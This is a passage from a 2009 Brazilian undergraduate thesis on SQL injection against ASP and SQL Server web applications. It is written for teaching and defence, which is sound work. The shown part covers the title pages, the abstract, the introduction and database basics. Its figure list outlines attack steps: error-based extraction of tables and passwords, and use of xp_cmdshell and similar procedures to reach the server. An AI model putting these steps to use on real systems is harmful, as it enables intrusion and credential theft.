Monografia - Ataque SQL Injection - ELIAS FERRIRA

UNIÃO EDUCACIONAL MINAS GERAIS S/C LTDA
FACULDADE DE CIÊNCIAS APLICADAS DE MINAS

Autorizada pela Portaria nº 577/2000 – MEC, de
03/05/2000
BACHARELADO EM SISTEMAS DE INFORMAÇÃO
RONALDO GUMERATO
S
A
IN
IM
“SQL INJECTION”
N
EM APLICAÇÕES WEB
U
Uberlândia
2009
1
RONALDO GUMERATO
“SQL INJECTION”
S
EM APLICAÇÕES WEB
A
Monografia apresentada à Faculdade de
IN
Ciências Aplicadas de Minas da União
Educacional Minas Gerais (UNIMINAS), como
parte das exigências para obtenção do Título de
Bacharel em Sistemas de Informação.
IM
Orientador: Prof. Esp. Leandro de Souza Lopes

N
U
Uberlândia
2009
2
RONALDO GUMERATO
“SQL INJECTION” EM APLICAÇÕES WEB
Monografia apresentada à Faculdade de

Ciências Aplicadas de Minas da União
Educacional Minas Gerais (UNIMINAS), como
parte das exigências para obtenção do Título de
Bacharel do Curso de Sistemas de Informação.
S
Orientador: Prof. Esp. Leandro de Souza Lopes
A
IN
Banca Examinadora:
Uberlândia, 09 de maio de 2009.

IM
________________________________________________________
Professor: Esp. Leandro de Souza Lopes – UNIMINAS (Orientador)
N
________________________________________________________
Professora: Dra. Kátia Lopes Silva – UNIMINAS
U
________________________________________________________
Professor: Esp. Rogério de Freitas Ribeiro – UNIMINAS
Uberlândia/MG
2009
3
DEDICATÓRIA
Dedico este trabalho aos meus pais Ronaldo e

Sonira, onde quer que estejam tenho a certeza
de que me acompanham a cada passo.
A minha esposa Adriene, por acrescentar razão
e beleza aos meus dias.
Ao meu irmão Rodrigo, por ter me ensinado,
S
mesmo sem perceber, valores que levarei por
toda a vida.
A
IN
IM
N
U
4
RESUMO
Informação tornou-se um ativo valioso e estratégico. A chamada “era da
informação”, caracterizada principalmente pela inclusão digital e disseminação da
Internet, disponibilizou um grande volume de informação cuja precedência na história,
até então, era desconhecida. Não tardou para que a aparição de ameaças contra a
confidencialidade, integridade e disponibilidade das informações comprometessem a
tendência inicial de expansão, gerando desconfianças quanto ao modo como tais
informações são armazenadas, transmitidas e processadas. Os processos de melhoria
das funcionalidades em aplicações não resultaram no desenvolvimento de produtos
S
mais seguros, gerando duas vertentes desarmônicas – rápida implementação de
funcionalidades e facilidades e garantia da segurança da informação para atenuar os
A
danos decorrentes das vulnerabilidades. Esse trabalho apresenta uma técnica
chamada “SQL Injection” que é utilizada por crackers para atacar bancos de dados
IN
através de aplicações voltadas para a Internet e que não adotaram uma metodologia
de desenvolvimento preocupada com a produção de software naturalmente seguro. O
trabalho apresenta também as principais falhas que geralmente são exploradas e

IM
como implementar barreiras que limitam o sucesso de tais ataques.

N
U
5
ABSTRACT
Information became a valuable and strategical asset. The call “age of the
information”, characterized mainly for the digital inclusion and dissemination of the
Internet, has produced a great volume of information whose anteriority in history, until
then, was unknown. It did not delay so that the appearance of threats against the
integrity and availability of the information compromised the initial trend of expansion,
generating diffidence how the way such information are stored, transmitted and
processed. The processes of improvement of the functionalities in applications had not
S
resulted in the development of safer products, generating two disharmonious sources -
fast implementation of functionalities and easiness’s and guarantee of the security of
A
the information to attenuate the decurrent damages of the vulnerabilities. This work
presents one called technique “SQL Injection” that is used by crackers to attack data
IN
bases through applications directed toward the Internet and that they had not adopted
a methodology of development worried about the production of safe software. This
work also presents the main imperfections that generally are explored and how to
IM
implement barriers that limit the success of such attacks.

N
U
6
LISTA DE FIGURAS
Figura 1 - Gráfico representando o crescimento de vulnerabilidades relacionadas a SQL

Injection....................................................................................................................................... 13
Figura 2 - Representação simplificada de um modelo de banco de dados................................. 19
Figura 3 - Representação gráfica de um banco de dados relacional .......................................... 20
Figura 4 - Exemplo tabular da relação Cliente ............................................................................ 23
Figura 5 - Exemplo de modelos de consulta SQL ........................................................................ 27
Figura 6 - Exemplo de um portal de comércio eletrônico........................................................... 28
Figura 7 - Exemplo de sala de segurança para servidores .......................................................... 32
Figura 8 - Representação de instrução SQL................................................................................. 36
Figura 9 – Exemplo de URL com parâmetros .............................................................................. 36
Figura 10 – Consulta executada no banco de dados................................................................... 36
S
Figura 11 – Demonstração de ataque direto a URL .................................................................... 36
Figura 12 – Consulta passada para interpretação do banco de dados ....................................... 36
Figura 13 – Exemplo de ataque direto a URL .............................................................................. 37
A
Figura 17 - Exemplo de tela de erro gerada com técnica de SQL Injection ................................ 38
IN
Figura 18 - Exemplo de injeção de caracteres em campo de formulário ................................... 39
Figura 19 - Exemplo de mensagem de erro com informações sobre a estrutura da tabela....... 39
Figura 20 - Exemplo de comando para explorar mensagens de erro ......................................... 39
IM
Figura 22 - Exemplo de comando para explorar mensagens de erro ......................................... 40

Figura 24 - Exemplo de comando para criar usuário na tabela .................................................. 40
Figura 25 - Exemplo de comando para identificar a versão do SGBD......................................... 41
Figura 25 - Exemplo de mensagem de erro com a versão do SGBD ........................................... 41
Figura 27 - Exemplo de código com tratamento de dados de entrada....................................... 44
N
Figura 28 - Exemplo de código com tratamento de dados de entrada....................................... 45

Figura 29 - Propriedades da aplicação ........................................................................................ 47
Figura 30 - Desabilitar mensagens de erro padrão definindo mensagens de alerta .................. 48
U
Figura 31 - Código de um formulário de uma aplicação web onde o usuário digita nome e
senha ........................................................................................................................................... 51
Figura 32 - Tela de Login onde o usuário digita nome (Username) e senha (Password)............ 52
Figura 33 - Código de validação de usuário e senha ................................................................... 53
Figura 34 - Código que concatena o comando SQL a ser executado .......................................... 53
Figura 35 - Parâmetro para login sem a necessiade de especificar a senha............................... 54
Figura 36 - Login com as credenciais do primeiro usuário cadastrado na tabela "USERS" ........ 54
Figura 37 - Parâmetros de usuário e senha especificados por um usuário mal intencionado ... 54
Figura 38 - Comando utilizado para a criação da tabela "USERS" e inserção de dados ............. 55
7
Figura 39 - uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da tabela
e da sua primeira coluna ............................................................................................................. 56
Figura 40 - Uso da cláusula "HAVING" para obtenção de um erro que retorna o nome da
segunda coluna da tabela ........................................................................................................... 56
Figura 41 - Uso da cláusula "HAVING" com todos os campos da tabela .................................... 56
Figura 42 - Comando equivalente ao processado pelo servidor ao final do processo ............... 57
Figura 43 - Erro que permite identificar o tipo de dado de uma coluna .................................... 57
Figura 44 - Erro que permite identificar se o tipo de dado de uma coluna é numérico............. 58
Figura 45 - Cadastro realizado pelo usuário mal intencionado depois de obter a estrutura
aproximada da tabela.................................................................................................................. 58
Figura 46 - Erro que retorna a versão do SQL Server e do sistema operacional ........................ 59
Figura 47 - Erro que retorna o nome do primeiro usuário cadastrado na tabela "USERS" ........ 59
Figura 48 - Erro que retorna o nome do segundo usuário cadastrado na tabela "USERS" ........ 60
Figura 49 - Erro que retorna a senha do usuário "ADMIN" ........................................................ 60
Figura 50 - Erro que retorna a todos os usuários e as senhas da tabela “USERS”...................... 61
S
Figura 51 - Exemplo de execução da rotina “XP_CMDSHELL” .................................................... 63
Figura 52 - Exemplo de execução da rotina “XP_CMDSHELL” para listar todos os usuários do
servidor ....................................................................................................................................... 64
A
Figura 53 - Exemplo de execução da rotina “XP_REGREAD” para listar todos null-session
shares do servidor ...................................................................................................................... 65
Figura 54 - Exemplo de execução da rotina “XP_SERVICECONTROL” para iniciar serviços no
IN
servidor ....................................................................................................................................... 65
Figura 55 - Exemplo de criação, execução e exclusão de uma extended stored procedure ...... 66
Figura 56 - Exemplo de uso do “BULK INSERT”........................................................................... 66
Figura 57 - Exemplo de uso do “BCP” ......................................................................................... 67
Figura 58 - Exemplo de uso das rotinas sp_OACreate e sp_OAGetProperty para executar o
IM
Notepad....................................................................................................................................... 67
N
U
8
LISTA DE ABREVIATURAS E SIMBOLOS
AJAX - Asynchronous JavaScript and XML
ANSI - American National Standards Institute
API - Application Program Interface
ARPA - Advanced Research Projects Agency
ASCII - American Standard Code for Information Interchange
ASP - Active Server Pages
CGI - Common Gateway Interface
DBMS - Data Base Management System
S
DCL - Linguagem de Controle de Dados
A
DDL - Linguagem de Definição de Dados
DER - Diagrama de Entidade-Relacionamento
DML - Linguagem de Manipulação de Dados

IN
DQL - Linguagem de Consulta de Dados
FTP - File Transfer Protocol
HTML - Hypertext Markup Language

IM
HTTP - Hypertext Transfer Protocol
IDEF - Integration Definition for Function Modelling
IDS - Intrusion Detection System

N
IEC - International Electrotechnical Commission
IIS - Internet Information Services (servidor web da Microsoft)

U
IPS - Intrusion Prevention System
ISO - International Standards Organization
JSP - Java Server Pages
PHP - Personal Home Page: Hypertext Preprocessor
RSS - Really Simple Syndication
SAM - Security Accounts Manager

9
SGBD - Sistema de Gerenciamento de Banco de Dados
SQL - Structured Query Language
SSL - Secure Socket Layer
WWW - World Wide Web
XML - eXtensible Markup Language
S
A
IN
IM
N
U
10
SUMÁRIO
RESUMO..............................................................................................................................................4
1 - INTRODUÇÃO .............................................................................................................................12
1.1 – CENÁRIO ATUAL ......................................................................................................................12

1.2 – IDENTIFICAÇÃO DO PROBLEMA .........................................................................................14
1.3 - OBJETIVOS.................................................................................................................................15
1.3.1 - OBJETIVOS GERAIS ........................................................................................................15
1.3.2 - OBJETIVOS ESPECIFICOS.............................................................................................15
1.4 - JUSTIFICATIVA ..........................................................................................................................15
1.5 – ORGANIZAÇÃO DO TRABALHO ...........................................................................................16
2 – BANCOS DE DADOS E APLICAÇÕES WEB .........................................................................18
2.1 – BANCOS DE DADOS................................................................................................................18
S
2.1.1 – UTILIZAÇÃO ......................................................................................................................18
2.1.2 – MODELO RELACIONAL ..................................................................................................19
2.1.3 – ESTRUTURA DOS BANCOS DE DADOS RELACIONAIS ........................................21
A
2.1.4 – MODELO DE BANCO DE DADOS .................................................................................22
2.1.5 - LINGUAGEM DE CONSULTA ESTRUTURADA (SQL) ...............................................24
2.2 – APLICAÇÕES WEB...................................................................................................................27
2.2.1 – DESENVOLVIMENTO DE APLICAÇÕES WEB ...........................................................29
IN
2.2.2 - DESENVOLVIMENTO SEGURO DE APLICAÇÕES WEB .........................................31
3 – O ATAQUE SQL INJECTION, SUAS VARIAÇÕES E TÉCNICAS DE PREVENÇÃO. .......34

3.1 – SQL INJECTION ........................................................................................................................34
3.1.1 – CODIFICAÇÃO DE CARACTERES ...............................................................................34
IM
3.1.2 – O ATAQUE .........................................................................................................................35

3.2 – ADVANCED SQL INJECTION .................................................................................................37
3.2.1 – O ATAQUE .........................................................................................................................37
3.2.2 – OBTENDO INFORMAÇÕES ATRAVÉS DE MENSAGENS DE ERRO....................38
3.2.3 – OBTENDO CONTROLE SOBRE O SISTEMA OPERACIONAL E REDE................41
4 – COMO SE PREVENIR DE ATAQUES SQL INJECTION........................................................43

N
4.1 – VALIDAÇÃO DE ENTRADA .....................................................................................................43

4.2 – INSTALAÇÃO E CONFIGURAÇÃO DE SEGURANÇA NO SQL SERVER.......................45
4.3 – DETECÇÃO E DISSUASÃO ....................................................................................................46
U
4.3.1 – ALTERAÇÃO DAS MENSAGENS DE ERRO.....................................................................46

4.3.2 – UTILIZAÇÃO DE FERRAMENTAS DE ANÁLISE DE CÓDIGO-FONTE........................48
5 – ESTUDO DE CASO ....................................................................................................................51
5.1. PLATAFORMA UTILIZADA........................................................................................................51

5.1.1. ATAQUES PELA TELA DE ACESSO ....................................................................................51
5.1.2. ATAQUES ATRAVÉS DA INTERPRETAÇÃO DAS MENSAGENS DE ERRO ...............55
5.1.3. OBTENDO MAIS ACESSOS ..................................................................................................61
5.1.3.1 ATAQUE A COMANDOS DO SISTEMA OPERACIONAL COM XP_CMDSHELL .62
5.1.3.2. ATAQUE AO REGISTRO COM XP_REGREAD .........................................................64
5.1.3.3. ATAQUES ATRAVÉS DE OUTRAS EXTENDED PROCEDURES ..........................65
11
5.1.3.4. ATAQUE COM CRIAÇÃO DE EXTENDED STORED PROCEDURES...................66

5.1.3.5. ATAQUE PELA LEITURA DE ARQUIVOS-TEXT COM BULK INSERT..................66
5.1.3.6. ATAQUE QUE RESULTA NA CRIAÇÃO DE ARQUIVOS COM O COMANDO BCP
...........................................................................................................................................................67
5.1.3.7. CRIAÇÃO DE SCRIPTS ActiveX: SP_OACreate e SP_OAGetProperty.................67
6 – CONCLUSÃO..............................................................................................................................68
6.1 – CONCLUSÃO.............................................................................................................................68
6.2 – PERSPECTIVAS FUTURAS....................................................................................................68
7 – REFERÊNCIAS ...........................................................................................................................70
S
A
IN
IM
N
U
12
1 - INTRODUÇÃO
1.1 – CENÁRIO ATUAL
Com o surgimento do protocolo HTTP no início da década de 90, as

páginas web tornaram-se cada vez mais populares e um dos principais meios de
comunicação entre usuários e instituições. No início, as páginas eram desenvolvidas
somente utilizando a linguagem HTML, que eram estáticas e não possuíam interação
com o usuário. Nessa época, os principais alvos de ataques eram os sistemas
operacionais, banco de dados e serviços como Telnet e FTP.
Atualmente, os principais alvos de ataques são servidores web,
S
aplicações web e o navegador web (browser).
Na corrida para impulsionar mais serviços on-line, as aplicações web
A
frequentemente sofrem com a falta de segurança incorporada. As vulnerabilidades
resultantes representam um caminho fácil para que crackers acessem ou roubem
dados e informações corporativas ou pessoais.
IN
A quantidade de ataques utilizando métodos automatizados para a
exploração de falhas através de SQL Injection é bem significativa. Este
comportamento mostra que, na maioria das vezes, as aplicações web estão
IM
extremamente vulneráveis, como pode ser observado na figura 1 que foi retirada do
web site da National Vulnerability Database que é um repositório de dados sobre
vulnerabilidades do governo norte americano.
N
U
13
Vulnerabilidades afetando aplicações web
(acumulativo, ano a ano)
S
A
Figura 1 - Gráfico representando o crescimento de vulnerabilidades relacionadas a SQL Injection
IN
A primeira metade de 2008 foi marcada pelo grande aumento em
descobertas de SQL Injection, mais que dobrando o número de vulnerabilidades vistas
no mesmo período de 2007.
IM
A principal causa dessas vulnerabilidades é a falta de validação correta

dos campos de entrada das aplicações web. Com isso, usuários podem submeter
dados de entrada arbitrários e, com eles, códigos maliciosos. Os principais motivos
para que essas vulnerabilidades apareçam são: imaturidade ou desconhecimento em
N
segurança por parte dos desenvolvedores, restrições de recursos e falta de tempo, e

uso incorreto das tecnologias.
U
Muitas empresas acreditam que pelo fato de possuírem um firewall, IDS

(Sistema de Detecção de Intrusos) ou IPS (Sistema de Prevenção de Intrusos),
protegendo os servidores e um processo de execução de varreduras de
vulnerabilidades na camada de rede, estão completamente protegidas contra ataques
realizados na camada de aplicação. Muitas dessas empresas já sofreram algum tipo
de ataque em suas aplicações web, e muitas delas sequer conseguiram identificá-los.
Um dos motivos para que sistemas de detecção de intrusos e sistemas de prevenção
de intrusos não funcione corretamente contra ataques em aplicações web é que a
maioria das informações enviadas através de formulários é criptografada usando SSL.
14
Essa camada de criptografia impossibilita que a verificação feita pelo IDS e o IPS
bloqueie códigos maliciosos, fazendo com que estes cheguem até a aplicação web
normalmente.
Com tanta exposição, percebeu-se que mesmo a última tecnologia em

filtragem de pacotes poderia não ser tão efetiva contra ataques na camada de
aplicação. Foi quando surgiram os firewalls de aplicação. Porém, eles trabalham
fazendo comparações das requisições com uma base de assinaturas. Esse sistema
possui algumas desvantagens, podendo gerar bloqueios para requisições válidas, ou
até mesmo deixar passar requisições maliciosas.
Embora existam diversas tecnologias que ajudam na prevenção de

ataques na camada de aplicação, a prática de codificação segura é imprescindível
S
para manutenção de um ambiente seguro.
O objetivo deste trabalho é mostrar as principais maneiras conhecidas
A
de utilização do SQL Injection como forma de ataque a aplicações Web e servidores
de banco de dados. São apresentados também mecanismos de defesa recomendados
pelas melhores práticas de segurança no mercado. O ataque SQL Injection foi
IN
escolhido como tema por sua capacidade "destrutiva" e para demonstrar a importância
da segurança ainda no desenvolvimento das aplicações.
Para apresentação dos ataques foi considerada apenas a forma inicial

IM
do SQL Injection, desconsiderando suas variações conhecidas, como o Advanced

SQL Injection.
N
1.2 – IDENTIFICAÇÃO DO PROBLEMA
Embora os conceitos e técnicas apresentadas aplicam-se para outros

U
ambientes, o objeto de estudo dessa pesquisa se constitui em uma técnica de ataque
à aplicações voltadas para internet, desenvolvidas na linguagem ASP e que acessem
informações armazenadas em um banco de dados Microsoft SQL Server.
Para que seja possível a execução de um ataque baseado em SQL Injection é
necessário apenas um navegador para internet e um pouco de esforço para encontrar

15
no banco de dados a estrutura de tabelas e campos contendo informações
importantes.
Este tipo de ataque não é uma falha tecnológica de segurança no Sistema
Operacional ou em qualquer outro software, mas sim, uma falha na forma como a
aplicação foi desenvolvida. Alguns desenvolvedores ou programadores desconhecem
este tipo de ataque deixando assim as portas abertas para a injeção de comandos
SQL na aplicação.
1.3 - OBJETIVOS
S
1.3.1 - OBJETIVOS GERAIS
A
Demonstrar a natureza dos ataques à aplicações baseadas em Injeção SQL
(SQL Injection) e apresentar técnicas indicadas na prevenção deste tipo de ataque.

IN
1.3.2 - OBJETIVOS ESPECIFICOS
Analisar o processo utilizado na busca de vulnerabilidades das aplicações que

IM
permitam a utilização da técnica de Injeção SQL.
Avaliar os riscos ao ambiente e a continuidade dos negócios causados pela
exploração das vulnerabilidades nestas aplicações.

N
Apresentar uma simulação de ataque.

U
Apresentar técnicas de segurança para proteção contra este tipo de ataque.
1.4 - JUSTIFICATIVA
Segurança sempre foi e será um tema de destaque, seja em casa, nas ruas ou
no trabalho. Quando se fala de segurança da informação, não existe um só
departamento de uma única empresa que não se preocupe com este tema. Ao
16
questionar sobre segurança com desenvolvedores de aplicações e administradores de
bancos de dados, a preocupação será maior ainda, pois são justamente estes, os
principais responsáveis pelas aplicações que as empresas disponibilizam na rede local
(intranet), ou global (internet). São vários os objetos dessa preocupação, e, na maioria
dos casos a implementação de um projeto de segurança bem elaborado podem
reduzir os riscos de um ataque, segundo os institutos Gartner e IDC. Porém, existe um
método, com potencial devastador quando explorado: o SQL Injection, que não é
protegido por elementos de segurança lógica implementados na rede, nem
configurações seguras no sistema operacional ou nos servidores de bancos de dados
S
e sim no código das aplicações.
Os benefícios das metodologias no processo de desenvolvimento não
A
aparentam ser motivos de discórdia, porém os métodos instituídos é objeto freqüente
de questionamento (YOURDON 1999).

IN
Por isso o desenvolvimento de uma documentação com técnicas que orientem
profissionais a utilizarem as melhores práticas na construção de seus códigos tornará

IM
as aplicações seguras.
1.5 – ORGANIZAÇÃO DO TRABALHO

N
Este documento é descrito em cinco capítulos. O primeiro capítulo é uma
introdução onde o conceito de SQL Injection é apresentado de maneira geral. O
capítulo dois apresenta de forma detalhada uma estrutura de banco de dados e o

U
modelo de aplicações utilizadas para o ambiente da internet.
No capítulo três é apresentado o ataque de injeção SQL (SQL Injection) com
suas variações e técnicas de prevenção.
No capítulo quatro é apresentado um estudo de caso onde um cenário é
montado em laboratório para apresentar na prática as ameaças de ataque SQL

17
Injection e como implementar as medidas de proteção para eliminar o sucesso deste
tipo de ataque.
O quinto capitulo apresenta técnicas de defesa contra ataques do tipo SQL
Injection.
Por fim, no capítulo seis traz a conclusão do trabalho, descrevendo e avaliando
os resultados obtidos.
S
A
IN
IM
N
U
18
2 – BANCOS DE DADOS E APLICAÇÕES WEB
2.1 – BANCOS DE DADOS
Uma estrutura de bancos de dados, genericamente, é qualquer coleção de

dados organizados de tal forma que seja possível localizar e extrair de maneira
simples, precisa e rápida, frações destes dados, gerando informações úteis para os
mais variados itens. Os bancos de dados tradicionais organizam-se em campos,
registros e arquivos.
De acordo com DATE (2000), um banco de dados é uma coleção de dados

persistentes utilizada pelos sistemas de aplicação de uma determinada organização.
S
Normalmente um banco de dados possui um sistema gerenciador. Esse
modelo de software é conhecido como Sistema Gerenciador de Bancos de Dados
(SGBD).
A
Um Sistema Gerenciador de Banco de Dados (SGBD) é constituído
IN
por um conjunto de dados associados a um conjunto de programas
para acesso a esses dados. O conjunto de dados comumente
chamado de banco de dados, contém informações sobre uma
empresa em particular. (SILBERSCHATZ, Abraham; KORTH, Henry
IM
F.; SUDARSHAN, S., 1999, p.1).
Geralmente um SGBD adota um modelo de dados, de forma pura, reduzida ou

estendia. No modelo de dados mais aceito hoje em dia, o modelo relacional, a
estrutura tem a forma de tabelas na qual, cada tabela é composta por linhas e colunas.
N
Cada SGBD possui características especiais para o armazenamento,

classificação e recuperação dos dados.
U
2.1.1 – UTILIZAÇÃO
Uma estrutura de bancos de dados como no modelo apresentado na figura 2,

pode ser utilizada em várias aplicações, abrangendo praticamente todos os tipos de
programas de computador. Este tipo de estrutura é o método preferencial para
19
aplicações multiusuário, nas quais é necessário haver coordenação nos processos e

sessões executadas por vários usuários simultaneamente.
S
A
IN
Figura 2 - Representação simplificada de um modelo de banco de dados
2.1.2 – MODELO RELACIONAL

IM
O modelo relacional para gerenciamento de bancos de dados (DBMS – Data

Base Management System ou SGBD – Sistema de Gerenciamento de Banco de
Dados) como apresentado na figura 3 é um modelo de dados baseado em lógica de
N
predicados e na teoria de conjuntos. Segundo SILBERSCHATZ, KORTH e

SUDARSHAN (1999, pg.61) este foi o primeiro modelo de dados adotado para
aplicações comerciais.
U
Os modelos usados anteriormente: o modelo hierárquico e o modelo em rede,

estão mais próximos da implementação no nível físico que o modelo relacional
(SILBERSCHATZ, KORTH e SUDARSHAN 1999). Alguns sistemas utilizando estas
arquiteturas antigas ainda continuam em operação, seja devido ao alto volume de
dados ou porque os sistemas existentes são tão complexos que o custo de migração
para o modelo relacional é proibitivo.
20
Existem ainda os novos modelos baseados em orientação ao objeto, apesar de

que muitos destes são kits de construção de DBMS, ao invés de uma definição de um
modelo de gerenciamento de dados.
PEDIDO PRODUTOS
Cod_pedido Cod_produto
Cod_cliente Nome_produto
Cod_produto
Qtde_produto
Val_produto
CLIENTE ENDERECO
Cod_cliente Cod_endereco
Nome_cliente Nome_rua
S
Cod_estadocivil Num_endereco
Cod_endereco Des_complemento
Cep
A
Figura 3 - Representação gráfica de um banco de dados relacional
A linguagem padrão para os bancos de dados relacionais, SQL, é apenas

IN
vagamente remanescente do modelo matemático. Atualmente ela é adotada, apesar
de suas restrições, porque ela é antiga e muito mais popular que qualquer outra
linguagem de banco de dados.
IM
A principal proposição do modelo relacional é que todos os dados sejam

representados como relações matemáticas, isto é, um subconjunto do produto
Cartesiano de n conjuntos. A análise dos dados é feita em uma lógica de predicados
de dois valores, ou seja, sem o valor nulo. Isto significa que existem dois possíveis
N
valores para uma proposição: verdadeira ou falsa. Os dados são tratados pelo cálculo
relacional ou álgebra relacional.
U
O modelo relacional permite ao projetista criar um modelo lógico consistente da

informação a ser armazenada. Este modelo lógico pode ser refinado através de um
processo de normalização. Um banco de dados construído puramente baseado no
modelo relacional estará inteiramente normalizado. O plano de acesso, outras
implementações e detalhes de operação são tratados pelo sistema DBMS, e não
devem ser refletidos no modelo lógico. Isto se contrapõe à prática comum para
DBMS’s SQL nos quais o ajuste de desempenho frequentemente requer mudanças no
modelo lógico.
21
2.1.3 – ESTRUTURA DOS BANCOS DE DADOS RELACIONAIS
Os bancos de dados relacionais são representados por uma coleção de

tabelas. Uma linha e uma tabela representam um relacionamento entre um conjunto
de valores.
Uma vez que esta tabela é uma coleção de tais relacionamentos há

uma estreita correspondência entre o conceito de tabela e o conceito
matemático de relação, a partir das quais, se origina o nome desse
modelo de base de dados. (SILBERSCHATZ, Abraham; KORTH,
Henry F.; SUDARSHAN, S., 1999, p.61).
Os blocos básicos do modelo relacional são o domínio, ou tipo de dado. Uma

tupla é um conjunto de atributos que são ordenados em pares de domínio e valor.
S
Uma relvar (variável relacional) é um conjunto de pares ordenados de domínio e nome
que serve como um cabeçalho para uma relação. Uma relação é um conjunto
A
desordenado de tuplas. Apesar destes conceitos matemáticos, eles correspondem
basicamente aos conceitos tradicionais dos bancos de dados. Uma relação é similar
ao conceito de tabela e uma tupla é similar ao conceito de linha.
IN
Os modelos de tabelas em uma estrutura de dados relacional são compostos
por três componentes: uma coleção de estruturas de dados ou relações, por vezes
incorretamente identificadas como tabelas; uma coleção de operadores, a álgebra e o
IM
calculo relacionais; e uma coleção de restrições da integridade, definindo o conjunto

consistente de estados de base de dados e de alteração de estados (Connolly 1999).
As restrições de integridade podem ser de quatro tipos: domínio (também

conhecido como type), atributo, relvar e restrições de bases de dados.
N
Em um modelo de dados relacional não existem quaisquer tipo de apontadores,

de acordo com o principio da informação: toda informação deve ser representada
U
como dados. Qualquer tipo de atributo representa relações entre conjuntos de dados.
As bases de dados relacionais permitem aos utilizadores escreverem consultas

que não foram antecipadas por quem projetou a base de dados.
O modelo relacional é uma teoria matemática desenvolvida por Ted Codd1 para
descrever o comportamento das bases de dados. Embora esta teoria seja a base para
1
Edgar Frank "Ted" Codd (23 de Agosto de 1923 a 18 de Abril de 2003) foi um cientista britânico que,
enquanto trabalhava pela IBM, inventou o modelo relacional para gerenciamento de bancos de dados.
22
os softwares gerenciadores de bases de dados relacionais, poucos sistemas de

gestão de bases de dados seguem o modelo de forma restrita e todos apresentam
funcionalidades que violam a teoria, desta forma, aumentando a complexidade e
diminuindo o poder. Portanto, não deveriam ser chamados de sistemas de gestão de
bases de dados relacionais, mas sim de sistemas de SQL.
2.1.4 – MODELO DE BANCO DE DADOS
A seguir é apresentado um exemplo, bem simples da descrição de algumas

relações e seus atributos em um banco de dados relacional.
Cliente (ID Cliente, ID Taxa, Nome, Endereço, Cidade, Estado, CEP, Telefone)
Pedido de compra (Número do pedido, ID Cliente, Factura, Data do pedido,
S
Data prometida, Status)
Item do pedido (Número do pedido, Número do item, Código do produto,

Quantidade)
A
Nota fiscal (Número da nota, ID Cliente, Número do pedido, Data, Status)
IN
Item da nota fiscal (Número da nota,Número do item,Código do produto,
Quantidade vendida)
IM
No exemplo, são apresentadas cinco relações (relvars): “Cliente”, “Pedido”,

“Item do pedido”, “Nota fiscal” e “Item da nota fiscal”. Os atributos em negrito e
sublinhados são chaves candidatas. Os itens sublinhados sem negrito são as chaves
estrangeiras.
N
Geralmente uma chave candidata é eleita arbitrariamente e escolhida para ser

chamada de chave primária sendo utilizada preferencialmente, sendo que as outras
U
chaves candidatas são chamadas chaves alternativas.
Uma chave candidata é um identificador único que garante que nenhuma tupla
será duplicada; isto faz com que o relacionamento em algo denominado um
multiconjunto, ou seja, entre vários elementos, seja mantido de forma ordenada. Uma
chave pode ser formada por vários atributos. A figura 4, apresenta um exemplo tabular
da relação exemplo Cliente.
23
Figura 4 - Exemplo tabular da relação Cliente
Um relacionamento pode ser abstraído como um valor que pode ser atribuído a
uma relvar.
Se houver a tentativa de inserção de um novo cliente com o ID 1234567890,

isto irá violar o projeto da relação, pois ID Cliente é uma chave primária e já existe um
cliente com o número 1234567890. O DBMS deve rejeitar uma transação como esta e
deve acusar um erro de violação da integridade.
S
Existem também as chaves estrangeiras que são condições de integridade que
garantem que o valor de um atributo é obtido de uma chave candidata de outra
A
relação, por exemplo, na relação Pedido o atributo ID Cliente é uma chave
estrangeira. Uma união é uma operação que retorna a informação de várias relações
de uma só vez. Através da união de relações do exemplo utilizado, é possível
IN
consultar no banco de dados quais são os clientes, pedidos e notas. Se forem
necessárias apenas as linhas de um cliente específico, é possível especificar isto
utilizando uma condição de restrição.
IM
Para obter todos os pedidos do cliente 1234567890, é possível consultar o

banco de dados de forma que este retorne todas as linhas na relação de “Pedidos”
com ID Cliente igual a 1234567890 e agrupar a tabela de pedidos com a relação de
itens de pedido baseado no Número do pedido.
N
Existe um erro no projeto de banco de dados utilizado no exemplo anterior. A

relação de notas contém um atributo número do pedido. Assim, cada linha na tabela
U
de notas terá um pedido, o que implica em precisamente um pedido para cada nota.
Mas na realidade uma nota pode ser criada a partir de muitos pedidos, ou mesmo para
nenhum pedido em particular. Adicionalmente um pedido contém um número de nota,
implicando que cada pedido tem uma nota correspondente. Mas novamente isto não é
verdadeiro no mundo real. Um pedido é às vezes pago através de várias notas, e às
vezes pago sem uma nota. Em outras palavras podem-se ter muitas notas por pedido
e muitos pedidos por nota. Isto é um relacionamento vários-para-vários entre pedidos
e notas. Para representar este relacionamento no banco de dados uma nova relação
24
deve ser criada com o propósito de especificar a correspondência entre pedidos e

notas:
PedidoNota (Número do pedido,Número da nota)
Agora, um pedido tem um relacionamento um-para-vários para a relação

“PedidoNota”, assim como o “Cliente” tem para a relação de “Pedidos”. Para retornar
todas as notas de um pedido específico, basta consultar no banco de dados todos os
pedidos cujo Número do pedido é igual ao Número do pedido na relação
“PedidoNota”, e onde o Número da nota na relação “PedidoNota” é igual à Número
da nota na relação Notas.
A normalização de banco de dados é realizada quando se projeta um banco de
S
dados relacional, para melhorar a consistência lógica do projeto do banco de dados e
o desempenho transacional.
A
Existem dois sistemas mais comuns de diagramação que ajudam na
representação visual do modelo relacional: o DER (diagrama de entidade-
relacionamento) (SILBERSCHATZ, KORTH e SUDARSHAN 1999), e o diagrama
IN
correlato IDEF (Integrated DEFinition Methods – desenvolvido e mantido pela
2
Knowledge Based Systems, Inc.) utilizado no método IDEF1X criado pela Força
Aérea Americana baseado no DER.
IM
2.1.5 - LINGUAGEM DE CONSULTA ESTRUTURADA (SQL)
O SQL (Structured Query Language) ou Linguagem de Consulta Estruturada, é

uma linguagem de pesquisa declarativa para bancos de dados relacional. Muitas das
N
características do SQL foram inspiradas na álgebra relacional de Ted Codd e

conforme (DATE, 2000) é a linguagem padrão para se lidar com banco de dados
U
relacional.
O SQL foi criado pela IBM Research na década de 70, mas rapidamente foram
criados vários “dialetos” por outros fornecedores ou desenvolvedores. Essa expansão
levou a necessidade de ser criado e adaptado um padrão para a linguagem. Esta
tarefa foi realizada pelo American National Standards Insitute (ANSI) em 1986 e
International Organization for Standardization (ISO) em 1987.
2
Em Dezembro de 1993 o Laboratório de Sistemas Computacionais do Instituto Nacional de Padrões e
Tecnologia (NIST) definiu o IDEF1X como padrão para modelagem de dados na edição 184 da FIPS.
25
O SQL é utilizado pelos SGBD’s: DB2, Ingres, Interbase, MySQL, Oracle,

PostgreSQL, Microsoft SQL Server, SQLite, Sybase, Informix, Firebird e HSQLDB
